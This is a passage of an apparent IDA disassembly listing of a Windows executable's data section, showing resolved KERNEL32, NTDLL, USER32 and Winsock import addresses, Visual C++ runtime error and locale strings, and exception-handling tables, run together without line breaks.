to->KERNEL32.GetStdHandle ; sub_4330A0+143r dword_437204 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_437208 dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_42E555+18r dword_43720C dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_437210 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_42B39A+F6r ... dword_437214 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_42C925+2C5r ... dword_437218 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_4339B6+4Er dword_43721C dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_437220 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_42AF20+53r ... dword_437224 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_42AF20+44r ... dword_437228 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThreaddword_43722C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_42E487+2Er ... dword_437230 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_437234 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42FCB4+215r dword_437238 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_42F6FC+5Er dword_43723C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_437240 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_437244 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableA dd 0 dword_43724C dd 71B2517Fh dd 0 dword_437254 dd 7712A63Fh dd 0 dword_43725C dd 7CA40EE0h ; sub_41EA30+28r ... dword_437260 dd 7CAB8CB2h ; sub_42245D+4Dr align 8 dword_437268 dd 7E44F209h ; resolved to->USER32.IsCharAlphaNumericA ; sub_423919+2CBr ... dword_43726C dd 7E42E5C2h ; resolved to->USER32.CharLowerAdword_437270 dd 7E42F420h ; resolved to->USER32.GetClassNameA ; sub_426C45+19r dword_437274 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_426C45+7Dr dword_437278 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_415641+2Cr ... align 10h dword_437280 dd 76A08017h align 8 dword_437288 dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_43728C dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4225E4+C2r ... dword_437290 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_41DD09+A6r ... dword_437294 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_41DE6E+31Dr ... dword_437298 dd 71AB3E00h ; resolved to->WS2_32.binddword_43729C dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_4372A0 dd 71AB88D3h ; resolved to->WS2_32.listendword_4372A4 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_40A9FE+8409r ... dword_4372A8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_41F0F5+E2r ... dword_4372AC dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_4372B0 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_4372B4 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4372B8 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4073A2+19r ... dword_4372BC dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4066E2+48r ... dword_4372C0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_409FC8+33r ... dword_4372C4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_404525+29Cr ... dword_4372C8 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4225E4+7Br ... dword_4372CC dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_404525+2ADr ... dword_4372D0 dd 71AB428Ah ; resolved to->WS2_32.send ; .text:00404032r ... dword_4372D4 dd 71AB615Ah ; resolved to->WS2_32.recv ; .text:00404107r ... dword_4372D8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; .text:0040411Cr ... dword_4372DC dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_4225E4+CDr ... dword_4372E0 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_426D23+16r ... dword_4372E4 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_428DF8+B5r dword_4372E8 dd 71AB46C9h ; resolved to->WS2_32.getsockoptdword_4372EC dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4372F0 dd 71AB2BC0h ; resolved to->WS2_32.ntohl align 8 dword_4372F8 dd 76D6B096h ; resolved to->IPHLPAPI.GetUdpTable align 10h flt_437300 dd 5.0e-1 ; DATA XREF: sub_405C99+509r align 8 dword_437308 dd 0FFFFFFFFh, 40A55Ah, 40A58Bh, 0dword_437318 dd 0FFFFFFFFh, 40A5F9h, 40A5FDh, 0dbl_437328 dq 9.765625e-4 ; DATA XREF: sub_4182BA+223r ; sub_4182BA+238r ... dword_437330 dd 10h ; sub_40A9FE+621r ... off_437334 dd offset sub_41962B ; DATA XREF: sub_419617+4o ; sub_419647+Fo ... dword_437338 dd 2 dup(0) ; sub_41B420+57o ... dbl_437340 dq -3.0517578125e-5 ; DATA XREF: sub_41E415+1Fr flt_437348 dd 9.765625e-4 ; DATA XREF: sub_425E18+1B5r flt_43734C dd 8.0 ; DATA XREF: sub_425E18+1AFr flt_437350 dd 0.0 ; DATA XREF: sub_425E18+174r flt_437354 dd 1.0e-3 ; DATA XREF: sub_425E18+16Br dbl_437358 dq -1.52587890625e-4 ; DATA XREF: sub_426761+3DFr dbl_437360 dq 3.0517578125e-4 ; DATA XREF: sub_426761+3C0r dbl_437368 dq -3.0517578125e-4 ; DATA XREF: sub_426761+33Er ; sub_426761+3A2r dbl_437370 dq 1.52587890625e-4 ; DATA XREF: sub_426761+279r dbl_437378 dq -1.739501953125e-3 ; DATA XREF: sub_426761+254r ; sub_426761+2DDr ... dbl_437380 dq 3.143310546875e-3 ; DATA XREF: sub_426761+EDr dbl_437388 dq 3.0517578125e-5 ; DATA XREF: sub_426761+BAr ; sub_426761+143r ... dbl_437390 dq 6.103515625e-5 ; DATA XREF: sub_426761+9Fr ; sub_426761+309r dbl_437398 dq 2.288818359375e-3 ; DATA XREF: sub_426761+2Er dd offset dword_437FB8 off_4373A4 dd offset loc_42918F ; DATA XREF: sub_4290DB+4Do ; sub_4291AB+Co dd offset sub_41B2AF dd offset sub_429172 aStringTooLong db 'string too long',0 ; DATA XREF: sub_4290DB+1Eo dd offset dword_437FF0 off_4373C4 dd offset loc_41B316 ; DATA XREF: sub_41B24F+4Ao ; sub_41B2D9+11o ... dd offset sub_41B2AF dd offset sub_41B2BC dd offset dword_438040 off_4373D4 dd offset loc_41B3E4 ; DATA XREF: sub_41B1F5+4Do ; sub_41B400+Co ... dd offset sub_41B2AF dd offset sub_41B3C7 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4291C3+1Eo dd offset dword_438088 off_4373FC dd offset sub_429325 ; DATA XREF: sub_4292F3+12o ; .text:0042935Ao ... dword_437400 dd 0FFFFFFFFh, 0 dd offset sub_42985D dd 0FFFFFFFFh, 0 dd offset sub_4298B9 dword_437418 dd 0FFFFFFFFh, 0 dd offset sub_42995C dd 0FFFFFFFFh, 0 dd offset sub_4299B4 dbl_437430 dq 1.0 ; DATA XREF: sub_42A706+6Cr ; sub_43067A+2Ar dword_437438 dd 0FFFFFFFFh, 42AC6Ch, 42AC80hdword_437444 dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_437450 dd 632Fh aComspec db 'COMSPEC',0 ; DATA XREF: sub_42B0E9+8o align 10h dword_437460 dd 0FFFFFFFFh, 0 dd offset sub_42B42E dd 0FFFFFFFFh, 0 dd offset sub_42B4B7 dword_437478 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) dd offset dword_4380B8 off_43749C dd offset sub_42B978 ; DATA XREF: sub_42B994+8o ; sub_42B9D1+8o ... dd offset sub_42BA31 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42BA31+7o align 4 dd offset dword_438100 off_4374BC dd offset loc_42BA67 ; DATA XREF: sub_42BA3E+5o ; .text:off_447384o ... dword_4374C0 dd 0FFFFFFFFh, 42C65Dh, 42C671ha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_42C70D+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_42C70D+4Fo align 4 byte_4374FC db 6 ; DATA XREF: sub_42DC7D:loc_42DCD4r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .text:off_45323Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .text:off_453238o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 dd offset dword_676F6C dd 776F70h dword_437620 dd 707865h, 0 dbl_437628 dq 0.0 ; DATA XREF: sub_42FF67+8Cr ; sub_42FF67+ACr ... dbl_437630 dq 4.195835e6 ; DATA XREF: sub_43067A+Fr dbl_437638 dq 3.145727e6 ; DATA XREF: sub_43067A+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4306B8+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4306B8o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_430840+57o align 10h dword_437670 dd 2 dup(0) ; sub_4334DD+39o ... dword_437678 dd 0FFFFFFFFh, 430EAFh, 430EB3h, 0FFFFFFFFh, 430F63h, 430F67h ; DATA XREF: sub_430D9F+5o aPath db 'PATH',0 ; DATA XREF: sub_430FC3+49o align 4 a_com db '.com',0 ; DATA XREF: .text:off_4538CCo align 10h a_exe db '.exe',0 ; DATA XREF: .text:004538C8o align 4 a_bat db '.bat',0 ; DATA XREF: .text:004538C4o align 10h a_cmd db '.cmd',0 ; DATA XREF: .text:off_4538C0o align 4 a__0 db '.\',0 ; DATA XREF: sub_431128+51o align 10h dword_4376C0 dd 0FFFFFFFFh, 43171Ch, 431726h, 0dword_4376D0 dd 0FFFFFFFFh, 0 dd offset loc_4318AB align 10h dd offset sub_431889 dd offset sub_431893 dword_4376E8 dd 0FFFFFFFFh, 431AE1h, 431AE5h, 0dword_4376F8 dd 0FFFFFFFFh, 431B43h, 431B4Ch, 0dword_437708 dd 0FFFFFFFFh, 0 dd offset loc_431C28 align 8 dd offset loc_431C14 dd offset loc_431C18 dword_437720 dd 0FFFFFFFFh, 0 dd offset loc_431C7E align 10h dd offset loc_431C6A dd offset loc_431C6E dword_437738 dd 0FFFFFFFFh, 0 dd offset sub_431E06 dd 0FFFFFFFFh, 0 dd offset sub_431F56 dword_437750 dd 0FFFFFFFFh, 0 dd offset sub_432019 dd 0FFFFFFFFh, 0 dd offset sub_432094 aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: .text:0045398Co align 10h aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: .text:00453988o aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: .text:00453984o align 10h aNoLocksAvailab db 'No locks available',0 ; DATA XREF: .text:00453980o align 4 aFilenameTooLon db 'Filename too long',0 ; DATA XREF: .text:0045397Co align 4 aResourceDeadlo db 'Resource deadlock avoided',0 ; DATA XREF: .text:00453974o align 4 aResultTooLarge db 'Result too large',0 ; DATA XREF: .text:0045396Co align 4 aDomainError db 'Domain error',0 ; DATA XREF: .text:00453968o align 4 aBrokenPipe db 'Broken pipe',0 ; DATA XREF: .text:00453964o aTooManyLinks db 'Too many links',0 ; DATA XREF: .text:00453960o align 4 aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: .text:0045395Co align 4 aInvalidSeek db 'Invalid seek',0 ; DATA XREF: .text:00453958o align 4 aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: .text:00453954o aFileTooLarge db 'File too large',0 ; DATA XREF: .text:00453950o align 4 aInappropriateI db 'Inappropriate I/O control operation',0 ; DATA XREF: .text:00453948o aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: .text:00453944o aTooManyOpenF_0 db 'Too many open files in system',0 ; DATA XREF: .text:00453940o align 4 aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: .text:0045393Co align 10h aIsADirectory db 'Is a directory',0 ; DATA XREF: .text:00453938o align 10h aNotADirectory db 'Not a directory',0 ; DATA XREF: .text:00453934o aNoSuchDevice db 'No such device',0 ; DATA XREF: .text:00453930o align 10h aImproperLink db 'Improper link',0 ; DATA XREF: .text:0045392Co align 10h aFileExists db 'File exists',0 ; DATA XREF: .text:00453928o aResourceDevice db 'Resource device',0 ; DATA XREF: .text:00453924o aUnknownError db 'Unknown error',0 ; DATA XREF: .text:00453920o ; .text:0045394Co ... align 4 aBadAddress db 'Bad address',0 ; DATA XREF: .text:0045391Co aPermissionDeni db 'Permission denied',0 ; DATA XREF: .text:00453918o align 4 aNotEnoughSpace db 'Not enough space',0 ; DATA XREF: .text:00453914o align 10h aResourceTempor db 'Resource temporarily unavailable',0 ; DATA XREF: .text:00453910o align 4 aNoChildProcess db 'No child processes',0 ; DATA XREF: .text:0045390Co align 4 aBadFileDescrip db 'Bad file descriptor',0 ; DATA XREF: .text:00453908o aExecFormatErro db 'Exec format error',0 ; DATA XREF: .text:00453904o align 10h aArgListTooLong db 'Arg list too long',0 ; DATA XREF: .text:00453900o align 4 aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: .text:004538FCo align 10h aInputOutputErr db 'Input/output error',0 ; DATA XREF: .text:004538F8o align 4 aInterruptedFun db 'Interrupted function call',0 ; DATA XREF: .text:004538F4o align 10h aNoSuchProcess db 'No such process',0 ; DATA XREF: .text:004538F0o aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: .text:004538ECo align 4 aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: .text:004538E8o aNoError db 'No error',0 ; DATA XREF: .text:off_4538E4o align 10h aRuntimeError db 'runtime error ',0 align 10h aTlossError db 'TLOSS error',0Dh,0Ah,0 align 10h aSingError db 'SING error',0Dh,0Ah,0 align 10h aDomainError_0 db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_453A94o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4330A0+119o align 10h asc_437D50 db 0Ah ; DATA XREF: sub_4330A0+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4330A0+D3o db 0Ah db 'Program: ',0 align 10h aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4330A0+7Do align 4 dword_437D88 dd 0FFFFFFFFh, 4335D6h, 4335DAhaSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4339B6+2Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_434D70+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_434D70+35o aHMmSs db 'H:mm:ss',0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 aMDYy db 'M/d/yy',0 align 10h aDecember db 'December',0 align 4 aNovember db 'November',0 align 4 aOctober db 'October',0 aSeptember db 'September',0 align 4 aAugust db 'August',0 align 4 aJuly db 'July',0 align 4 aJune db 'June',0 align 4 aApril db 'April',0 align 4 aMarch db 'March',0 align 4 aFebruary db 'February',0 align 10h aJanuary db 'January',0 dd offset dword_636544 dd 766F4Eh, 74634Fh, 706553h, 677541h, 6C754Ah, 6E754Ah dd 79614Dh, 727041h, 72614Dh, 626546h, 6E614Ah, 75746153h dd 79616472h, 0 aFriday db 'Friday',0 align 4 aThursday db 'Thursday',0 align 4 aWednesday db 'Wednesday',0 align 4 aTuesday db 'Tuesday',0 aMonday db 'Monday',0 align 4 aSunday db 'Sunday',0 align 4 aSat db 'Sat',0 aFri db 'Fri',0 aThu db 'Thu',0 dd offset byte_646557 dd offset dword_657554 dd 6E6F4Dh, 6E7553h dword_437F18 dd 4E512331h, 4E41hdword_437F20 dd 4E492331h, 46hdword_437F28 dd 4E492331h, 44hdword_437F30 dd 4E532331h, 4E41hdword_437F38 dd 0FFFFFFFFh, 435C9Ch, 435CA0h, 0FFFFFFFFh, 435D0Bh, 435D0Fh ; DATA XREF: sub_435AE5+5o dd 447384h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_437F68 dd offset off_44739C ; DATA XREF: .text:00437F9Co ; .text:00437FD0o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_437F80 dd offset off_450E00 ; DATA XREF: .text:00437F98o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_437F80 dd offset off_437F68 dd offset dword_437F38+18h dd 0 db 0 ; DATA XREF: .text:00437FC8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 437F98h dword_437FB8 dd 3 dup(0) dd offset off_450E00 dd offset unk_437FA8 align 10h dd offset off_437F68 dd offset dword_437F38+18h dword_437FD8 dd 4 dup(0) dd 2, 437FD0h dword_437FF0 dd 3 dup(0) dd offset off_44739C dd offset dword_437FD8+8 align 8 off_438008 dd offset off_4473BC ; DATA XREF: .text:00438020o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_438008 dd offset off_437F68 dd offset dword_437F38+18h dword_43802C dd 3 dup(0) dd 3, 438020h dword_438040 dd 3 dup(0) dd offset off_4473BC dd offset dword_43802C+4 align 8 off_438058 dd offset off_450E30 ; DATA XREF: .text:00438070o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_438058 dd 0 db 0 ; DATA XREF: .text:00438098o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 438070h dword_438088 dd 3 dup(0) dd offset off_450E30 dd offset unk_438078 dd offset dword_437F38+18h dword_4380A0 dd 4 dup(0) dd 1, 43809Ch dword_4380B8 dd 3 dup(0) dd offset off_447384 dd offset dword_4380A0+8 align 10h off_4380D0 dd offset off_450EA0 ; DATA XREF: .text:004380E8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4380D0 dword_4380EC dd 3 dup(0) dd 1, 4380E8h dword_438100 dd 3 dup(0) dd offset off_450EA0 dd offset dword_4380EC+4 align 8 dd 0FFFFFFFFh, 436308h dword_438120 dd 19930520h, 1, 438118h, 4 dup(0) dd 0FFFFFFFFh, 43631Ch dword_438144 dd 19930520h, 1, 43813Ch, 4 dup(0) dd 0FFFFFFFFh, 436340h, 0 dd offset loc_436330 dd 1, 436338h dword_438178 dd 19930520h, 3, 438160h, 4 dup(0) dd 0FFFFFFFFh, 436364h dword_43819C dd 19930520h, 1, 438194h, 4 dup(0) dd 0FFFFFFFFh, 436378h, 0 dd offset loc_436380 dd 0 dd offset loc_436388 dd 0 dd offset loc_436390 dd 3, 436398h, 4, 4363A0h, 0 dd offset loc_4363A8 dd 6, 4363B0h, 0 dd offset loc_4363B8 dd 8, 4363C0h, 9, 4363C8h, 0 dd offset loc_4363D0 dd 0Bh, 4363D8h, 0Ch, 4363E0h, 0 dd offset loc_4363E8 dd 0Eh, 4363F0h, 0 dd offset loc_4363F8 dd 0 dd offset loc_436400 dd 11h, 436408h, 11h, 436410h dword_438258 dd 19930520h, 14h, 4381B8h, 4 dup(0) dd 0FFFFFFFFh, 436424h, 0 dd offset loc_43642F dd 1, 436437h, 2, 43643Fh, 3, 43644Ah, 4, 436455h, 5, 436460h dd 6, 436468h, 7, 436473h, 8, 43647Bh, 8, 436486h, 8, 436491h dd 7, 43649Ch, 0Ch, 4364A7h, 7, 4364A7h, 0Eh, 4364B2h dd 0Fh, 4364BDh, 0Eh, 4364C8h, 11h, 4364D3h, 0Eh, 4364D3h dd 13h, 4364DEh, 7, 4364E9h, 15h, 4364F4h, 7, 4364F4h dd 17h, 4364FFh, 18h, 43650Ah, 17h, 436515h, 1Ah, 436520h dd 17h, 436520h, 1Ch, 43652Bh, 7, 436536h, 1Eh, 436541h dd 7, 436541h, 20h, 43654Ch, 21h, 436557h, 20h, 436562h dd 23h, 43656Dh, 20h, 43656Dh, 25h, 436578h, 7, 436583h dd 27h, 43658Eh, 7, 43658Eh, 29h, 436599h, 2Ah, 4365A4h dd 29h, 4365AFh, 2Ch, 4365BAh, 29h, 4365BAh, 2Eh, 4365C5h dword_4383F4 dd 19930520h, 30h, 438274h, 5 dup(0) dd offset off_447384 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 42B9D1h, 0 dd offset off_44739C align 8 dd 0FFFFFFFFh, 0 dd 1Ch, 41B332h, 0 dd offset off_4473BC dd 0 dd 0FFFFFFFFh, 0 dword_43845C dd 1Ch, 41B400h, 3, 438448h, 43842Ch, 438410hdword_438474 dd 0 ; sub_41B3C7+12o ... dd offset sub_41B38A align 10h dd offset dword_43845C+8 dd 0FFFFFFFFh, 4365DCh dword_43848C dd 19930520h, 1, 438484h, 4 dup(0) dd 0FFFFFFFFh, 4365F0h dword_4384B0 dd 19930520h, 1, 4384A8h, 4 dup(0)dword_4384CC dd 2, 43842Ch, 438410hdword_4384D8 dd 0 dd offset sub_41B2D9 dd 0 dd offset dword_4384CC dd 0FFFFFFFFh, 436604h dword_4384F0 dd 19930520h, 1, 4384E8h, 4 dup(0) dd 0FFFFFFFFh, 436618h dword_438514 dd 19930520h, 1, 43850Ch, 4 dup(0) dd 0FFFFFFFFh, 43662Ch dword_438538 dd 19930520h, 1, 438530h, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_41B851 dd 2 dup(0) dd 2 dup(1), 438564h dword_438588 dd 19930520h, 2, 438554h, 1, 438574h, 2 dup(0) ; DATA XREF: .text:loc_436640o dd 0FFFFFFFFh, 43664Ch dword_4385AC dd 19930520h, 1, 4385A4h, 4 dup(0) dd 0FFFFFFFFh, 436660h, 0 dd offset loc_436668 dd 1, 436670h, 2, 436678h dword_4385E8 dd 19930520h, 4, 4385C8h, 6 dup(0) dd offset off_450E00 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4291ABh, 0 dword_438628 dd 3, 438608h, 43842Ch, 438410hdword_438638 dd 0 ; sub_429172+12o dd offset sub_429135 dd 0 dd offset dword_438628 dword_438648 dd 19930520h, 1, 438668h, 5 dup(0) dd 0FFFFFFFFh, 43668Ch dword_438670 dd 19930520h, 1, 438690h, 5 dup(0) dd 0FFFFFFFFh, 4366A0h dword_438698 dd 19930520h, 1, 4386B8h, 5 dup(0) dd 0FFFFFFFFh, 4366B4h, 0 dd offset off_450E30 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 429341h, 0 dword_4386E0 dd 1, 4386C0h dword_4386E8 dd 0 dd offset sub_42936E dd 0 dd offset dword_4386E0 dd 387F0h, 2 dup(0) dd 3909Ch, 37030h, 38A28h, 2 dup(0) dd 390FAh, 37268h, 387C0h, 2 dup(0) dd 391D6h, 37000h, 38A1Ch, 2 dup(0) dd 3920Eh, 3725Ch, 38A48h, 2 dup(0) dd 39228h, 37288h, 38A0Ch, 2 dup(0) dd 3924Ah, 3724Ch, 38AB8h, 2 dup(0) dd 39260h, 372F8h, 38A40h, 2 dup(0) dd 3928Ah, 37280h, 38A14h, 2 dup(0) dd 39618h, 37254h, 5 dup(0) dd 77DD6BF0h, 77DD761Bh, 77DDEBE7h, 77DFD4C9h, 77DD7753h dd 77DFD11Bh, 77DFC534h, 77DF08D5h, 77E215D9h, 77DF087Fh dd 77DD7883h, 0 dd 7C80ADA0h, 7C801D77h, 7C80ABDEh, 7C80992Fh, 7C80B905h dd 7C809B47h, 7C80B974h, 7C80DDF5h, 7C812ADEh, 7C81CE03h dd 7C8312E5h, 7C801A24h, 7C831EABh, 7C8286EEh, 7C812782h dd 7C81153Ch, 7C80B6A1h, 7C80A0D4h, 7C810D87h, 7C802520h dd 7C8308ADh, 7C80180Eh, 7C80BDB6h, 7C8217ACh, 7C834D41h dd 7C8214E3h, 7C82C2D3h, 7C8216A4h, 7C8643B5h, 7C864230h dd 7C864B0Fh, 7C809920h, 7C813093h, 7C80BE01h, 7C835DCAh dd 7C810B8Eh, 7C810A77h, 7C835E8Fh, 7C80945Ch, 7C901005h dd 7C80A427h, 7C81CDDAh, 7C802367h, 7C8024A7h, 7C80E93Fh dd 7C83039Bh, 7C81F992h, 7C83632Dh, 7C8361EEh, 7C814EEAh dd 7C80D262h, 7C830D74h, 7C81AE17h, 7C85F90Fh, 7C80DDFEh dd 7C81E0C7h, 7C8021CCh, 7C8309E1h, 7C801E16h, 7C863F58h dd 7C863DE5h, 7C8098EBh, 7C80998Dh, 7C810111h, 7C831CB8h dd 7C831C45h, 7C821363h, 7C80A7D4h, 7C80EDD7h, 7C834EB1h dd 7C8137D9h, 7C85B219h, 7C812D9Fh, 7C809728h, 7C809EF1h dd 7C809E79h, 7C9179FDh, 7C9010EDh, 7C91188Ah, 7C80B829h dd 7C910331h, 7C80C058h, 7C80BAA1h, 7C80B4CFh, 7C810637h dd 7C809BF8h, 7C80929Ch, 7C82FA46h, 7C802442h, 7C809A51h dd 7C809AE4h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h dd 7C80BCCFh, 7C809E01h, 7C812641h, 7C80A490h, 7C838A0Ch dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C8127A7h dd 7C809915h, 7C812E76h, 7C81DC03h, 7C84467Dh, 7C9109EDh dd 7C80CCA8h, 7C838DE8h, 7C862E2Ah, 7C810E51h, 7C812BB6h dd 7C810EF8h, 7C812F39h, 7C80CC97h, 7C809740h, 7C910340h dd 7C9105D4h, 7C91043Dh, 7C8350BFh, 7C80176Bh, 7C80977Ah dd 7C809766h, 7C8328F7h, 7C809BC5h, 7C937A40h, 7C812A09h dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C814AF2h, 0 dd 71B2517Fh, 0 dd 7712A63Fh, 0 dd 7CA40EE0h, 7CAB8CB2h, 0 dd 7E44F209h, 7E42E5C2h, 7E42F420h, 7E42F383h, 7E41A8ADh dd 0 dd 76A08017h, 0 dd 71AC0BDEh, 71AB3EA1h, 71AB4519h, 71AB2C69h, 71AB3E00h dd 71AB951Eh, 71AB88D3h, 71AB4FD4h, 71AB2B66h, 71AB4428h dd 71AB2DC0h, 71AC1028h, 71AB664Dh, 71AB3B91h, 71AB2BF4h dd 71AB2B66h, 71AB8769h, 71AB406Ah, 71AB428Ah, 71AB615Ah dd 71AB9639h, 71AB94DCh, 71AB50C8h, 71AB2BC0h, 71AB46C9h dd 71AB4544h, 71AB2BC0h, 0 dd 76D6B096h, 0 db 49h ; I db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 aI db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 175h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 736C03B6h, 6D637274h, 416970h, 784500B0h, 68547469h dd 64616572h, 1690000h, 4C746547h, 45747361h, 726F7272h dd 21A0000h aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aZ db 'z',0 aDeletecritical db 